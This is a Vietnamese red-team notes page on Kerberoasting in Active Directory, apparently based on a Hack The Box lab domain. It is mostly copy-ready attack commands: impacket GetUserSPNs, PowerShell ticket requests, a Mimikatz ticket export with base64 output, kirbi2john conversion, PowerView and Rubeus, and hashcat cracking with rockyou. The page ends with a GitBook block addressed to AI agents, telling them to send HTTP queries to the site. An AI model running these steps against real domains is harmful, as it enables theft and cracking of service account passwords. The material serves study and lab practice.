> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/active-directory/kerberoasting.md). # Kerberoasting ## 1. Khái niệm ? **Kerberoasting** là kiểu tấn công lợi dụng hành vi đặc biệt của **SPN (Service principal name).** Đầu tiên chúng ta có các khái niệm như sau : * Account có **Service Principal Name** nghĩa là account đó **được dùng để đại diện cho một service trong Kerberos**, không nhất thiết trực tiếp “**chạy**” service. * **Key Distribution Center** (**KDC**) là “trung tâm cấp ticket” * **Ticket Granting Ticket (TGT) :** khi chúng ta authentication thành công tới KDC, nó sẽ trả về cho chúng ta TGT để đi xin vé (user thường đi xin vé của các service khác). * **Ticket Granting Service Ticket (TGS) :** khi có TGT, chúng ta muốn truy cập **SPN** thì chúng ta cần gửi **TGT** + request tới **KDC (TGS)** lúc này KDC sẽ trả về **TGS** Mà **TGS** được **Encrypt** bằng key là **password hash** của **service account.** Vậy nên chúng ta có thể request **TGS** cho **SPN** để lấy **TGS** , sau đó bruteforce để lấy password của account **SPN** Và điều kiện tiên quyết là chúng ta đã có 1 account trong Domain. ## 2. **Kerberoasting - Linux** ### **2.1. Recon SPN users** Đầu tiên ta cần biết được trong AD có những SPN users nào, được phân quyền ra sao. Đánh giá xem có khả thi hoặc đáng để Kerberoasting hay không. Ta dùng `GetUserSPNs.py` của impacket ```bash GetUserSPNs.py -dc-ip /: GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev:database! ``` ### **2.2 Request TGS ticket** ```bash # All users GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request # 1 user GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev # Save to file GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs ``` ### **2.3 Cracking** Cuối cùng là crack TGS với Hashcat ```bash hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt ``` ## 3. Kerberoasting - from Windows ### Manual : #### **Enumerating SPNs with setspn.exe :** ```bash setspn.exe -Q */* ``` #### **Request TGS :** ```bash # 1 user Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433" # All users setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } ``` Lúc này TGS đã ở trong memmory, ta dùng Mimikatz để dump ```bash Using 'mimikatz.log' for logfile : OK mimikatz # base64 /out:true isBase64InterceptInput is false isBase64InterceptOutput is true mimikatz # kerberos::list /export [00000002] - 0x00000017 - rc4_hmac_nt Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM Server Name : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL Client Name : htb-student @ INLANEFREIGHT.LOCAL Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ; ==================== Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi ==================== 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 ZWZyZWlnaHQubG9jYWw6MTQzMw== ==================== * Saved to file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi ``` Ta có thể bỏ output base64 để ra trực tiếp file `.kirby` rồi dùng hashcat để crack #### **Cracking :** Nếu output là base64 thì ta cần 1 bước decode rồi chuyển về file `.kirbi` ```bash echo "" | tr -d \\\\n cat encoded_file | base64 -d > sqldev.kirbi ``` Crack : ```bash python2.7 kirbi2john.py sqldev.kirbi sed 's/\\$krb5tgs\\$\\(.*\\):\\(.*\\)/\\$krb5tgs\\$23\\$\\*\\1\\*\\$\\2/' crack_file > sqldev_tgs_hashcat hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt ``` ### **Automic tools:** #### **Dùng PowerView :** ```bash # Enum SPN users Import-Module .\\PowerView.ps1 Get-DomainUser * -spn | select samaccountname # Get hash ## 1 user Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat ## all user to csv Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\\ilfreight_tgs.csv -NoTypeInformation ``` #### **Dùng Rubeus :** ```bash # Enum .\\Rubeus.exe kerberoast /stats # Request TGS ## Filter ldap .\\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap ## Filter user name .\\Rubeus.exe kerberoast /user:testspn /nowrap # Crack hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://duc193.gitbook.io/notes/redteam/active-directory/kerberoasting.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.